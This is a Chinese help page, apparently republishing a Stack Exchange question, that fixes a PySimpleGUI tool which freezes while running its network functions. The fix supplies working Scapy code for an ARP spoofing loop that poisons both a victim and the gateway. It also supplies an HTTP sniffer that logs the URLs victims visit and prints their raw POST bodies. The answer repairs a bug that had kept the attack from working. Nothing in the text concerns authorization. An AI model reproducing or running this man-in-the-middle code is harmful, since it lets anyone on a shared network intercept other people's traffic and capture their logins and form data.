You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用PySimpleGUI开发嗅探工具时按钮卡顿、Multiline输出异常如何解决

问题解决汇总

1. 多标签页输出到对应Multiline组件

问题原因

sg.Output本质是重定向全局唯一的sys.stdout实现输出捕获,所以天然只能存在一个实例,完全不适合多输出框的场景。

解决方法

直接使用Multiline组件自带的print()方法即可,该方法是线程安全的,会自动追加内容,还支持自定义文本/背景颜色,完全替代print和sg.Output:

  • ARP欺骗模块的输出统一用window['-SCANARP-'].print(xxx)
  • 网络嗅探模块的输出统一用window['-DOSNIFF-'].print(xxx)
  • 不要调用Multiline.update(),该方法会覆盖全部内容,不符合日志追加的需求。

2. 点击启动按钮后界面卡顿

问题原因

PySimpleGUI是单线程事件驱动模型,所有界面事件响应和渲染都在主线程执行,你把ARP欺骗的while True死循环、time.sleep阻塞逻辑,还有嗅探的sniff阻塞函数直接放在主线程回调里,直接把事件循环完全阻塞,导致界面无响应。

解决方法

把所有阻塞型、长时间运行的任务放到独立子线程执行,不要占用主线程:
首先导入线程模块:

import threading

ARP欺骗逻辑改造

把ARP相关逻辑抽成全局独立函数,不要写在事件回调里:

def run_arp_spoof(victima_ip, gateway_ip, window):
    # 获取目标MAC地址
    def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
        return answered_list[0][1].hwsrc if answered_list else None
    
    # 发送ARP欺骗包
    def spoof(target_ip, spoof_ip, target_mac):
        if not target_mac:
            return
        packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip)
        window['-SCANARP-'].print(f"发送ARP包:{packet.summary()}")
        scapy.send(packet, verbose = False)
    
    try:
        victima_mac = get_mac(victima_ip)
        gateway_mac = get_mac(gateway_ip)
        if not victima_mac or not gateway_mac:
            window['-SCANARP-'].print("错误:无法获取目标或网关MAC,请检查IP配置")
            return
        while True:
            window['-SCANARP-'].print(f"欺骗目标 {victima_ip} 伪装为网关 {gateway_ip}")
            spoof(victima_ip, gateway_ip, victima_mac)
            window['-SCANARP-'].print(f"欺骗网关 {gateway_ip} 伪装为目标 {victima_ip}")
            spoof(gateway_ip, victima_ip, gateway_mac)
            time.sleep(2)
    except Exception as e:
        window['-SCANARP-'].print(f"ARP欺骗终止:{str(e)}")

事件回调里启动子线程:

elif event=='Iniciar ARP':
    victima = values['-USUARIO-']
    gateway = values['-ENLACE-']
    # daemon=True保证窗口关闭时子线程自动退出
    threading.Thread(target=run_arp_spoof, args=(victima, gateway, window), daemon=True).start()

嗅探逻辑改造

同样把嗅探逻辑抽为全局函数,删掉没用的if __name__ == "__main__"和命令行参数解析代码(GUI程序不需要命令行参数):

def run_sniff(iface, show_raw, window):
    def process_packet(packet):
        if packet.haslayer(HTTPRequest):
            url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
            ip = packet[IP].src
            method = packet[HTTPRequest].Method.decode()
            window['-DOSNIFF-'].print(f"\n访问记录:IP {ip}  {method} {url}")
            if show_raw and packet.haslayer(Raw) and method == "POST":
                window['-DOSNIFF-'].print(f"POST数据:{packet[Raw].load.decode(errors='ignore')}")
    scapy.sniff(filter="port 80", prn=process_packet, iface=iface, store=False)

事件回调里启动子线程:

elif event=='Iniciar Sniffer':
    # 如果需要自定义网卡和显示RAW数据,可以在界面加对应输入/复选框组件获取参数
    threading.Thread(target=run_sniff, args=(None, True, window), daemon=True).start()

3. 其他需要修复的代码问题

  • 原代码中mac函数的return被注释,导致拿不到MAC地址,ARP包无法发送,上述改造已经修复该问题
  • 不要把函数定义写在事件回调内部,避免重复定义的性能问题和逻辑错误
  • 可以额外加停止按钮,通过全局flag控制子线程的循环退出,实现不用关闭程序就可以停止ARP欺骗和嗅探的功能

内容的提问来源于stack exchange,提问作者John Aragon

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.30 10:06:05